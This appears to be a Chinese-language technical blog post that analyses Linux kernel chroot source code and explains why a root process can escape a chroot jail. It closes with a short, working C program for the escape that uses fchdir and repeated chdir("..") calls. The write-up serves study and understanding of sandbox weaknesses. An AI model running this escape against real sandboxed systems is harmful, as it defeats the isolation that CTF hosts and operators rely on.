chroot jailbreak 源码分析

chroot主要的功能是改变根目录,之前是在ctf出题时会将/home/ctf目录chroot成为根目录,实现与我们docker的文件系统隔离,提供一个安全的靶场环境。在模拟运行固件的时候,也经常会将当前文件系统的目录chroot为根目录,这样才能找到固件所需库的路径。

然而这个东西并不安全,常用的工具chr00t

chroot jailbreak条件

  1. root权限
  2. 可以进行open,chdir,chroot,mkdir等系统调用

满足以上条件就可以达到chroot jailbreak

cwd 与 root

对于我们当前的path路径,一般proc采用了两个成员来表示

  • cwd 当前目录,也就是我们目前位于的工作目录
  • root 根目录
    一般情况下我们cwd的当前目录是不允许访问root意外的路径的。

chroot jailbreak 原理分析

了解了以上两个概念我们就可以深入理解chroot jailbreak的原理了

ksys_chroot

chroot功能实现的核心在set_fs_root,主要是将当前进程的的root设置为了传入的参数path。并且通过源码分析得知,chroot只改变了root但是并没有改变cwd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int ksys_chroot(const char __user *filename)  
{
struct path path;
int error;
unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
retry:
// 根据文件名找到 path 结构
error = user_path_at(AT_FDCWD, filename, lookup_flags, &path);
if (error)
goto out;

// 解析 path 的 mm_root dentry 结构,再解析相应的 inode 结构,即 d_inode,就可找到挂载点相应的 inode 结构
error = inode_permission(path.dentry->d_inode, MAY_EXEC | MAY_CHDIR);
if (error)
goto dput_and_out;

error = -EPERM;
// 判断当前进程所有者是不是有执行 chroot 操作的权限
// 这里是 namespace, cred 的内容了,不展开
if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))
goto dput_and_out;
error = security_path_chroot(&path);
if (error)
goto dput_and_out;

// 主要操作就是这个函数
set_fs_root(current->fs, &path);
error = 0;
dput_and_out:
path_put(&path);
if (retry_estale(error, lookup_flags)) {
lookup_flags |= LOOKUP_REVAL;
goto retry;
}
out:
return error;
}

set_fs_root

set_fs_root是通过改变fs->root实现了改变当前进程文件系统root的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*  
* Replace the fs->{rootmnt,root} with {mnt,dentry}. Put the old values.
* It can block.
*/
void set_fs_root(struct fs_struct *fs, const struct path *path)
{
struct path old_root;

path_get(path);
spin_lock(&fs->lock); // 自旋锁
write_seqcount_begin(&fs->seq);
old_root = fs->root; // 保存程序的 根目录 的目录项
fs->root = *path; // 设置 根目录 为 path 的目录项
write_seqcount_end(&fs->seq);
spin_unlock(&fs->lock);
if (old_root.dentry)
path_put(&old_root);
}

在设置了root后,一般情况下我们访问当前文件系统下的文件有两种方式。

  1. 绝对路径。如果采用绝对路径就会默认从我们刚设置的根目录开始寻找,这种方法是没办法访问根之外的文件的
  2. 相对路径。以当前cwd为开始目录,去寻找我们要访问的文件。

看起来好像都没什么问题,那么如果我们 cd ..呢,向上寻找的时候内核是怎么判断让他不逃出root的呢,

follow_dotdot_rcu

看一下主要处理cd ..的处理逻辑,发现核心处理逻辑就是判断当前path是否和root相等,如果相等就不能继续向上找,如果不相等那就无所谓,可以继续向上找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static struct dentry *follow_dotdot_rcu(struct nameidata *nd)

{
struct dentry *parent, *old;
if (path_equal(&nd->path, &nd->root)) //在这里判断当前path是否和root相等
goto in_root;
.
.
.

in_root:

if (read_seqretry(&mount_lock, nd->m_seq))

return ERR_PTR(-ECHILD);

if (unlikely(nd->flags & LOOKUP_BENEATH))

return ERR_PTR(-ECHILD);

nd->next_seq = nd->seq;

return nd->path.dentry;

}

那么按照这个逻辑,只要我们当前的cwd不处于root之下,就可以一直cd.. 最终逃出chroot

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <fcntl.h>  
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
int fd = open(".", O_RDONLY), i; // jail外的文件描述符,供之后脱离
mkdir("tempdir", 0755);
if (fd == -1) return 1;
if (chroot("tempdir") == -1) return 1; // chroot
if (fchdir(fd) == -1) return 1; // 脱离
for (i = 0; i < 1024; i++) // 回到原先的root目录。这里不能使用绝对路径`/`,只能逐步上移
chdir("..");
if (chroot(".") == -1) return 1; // 若是特权进程,则可进一步,把root设回去;不是的话也足以访问jail外的文件
system("ls");
return 0;
}
-------------本文结束感谢您的阅读-------------
+ +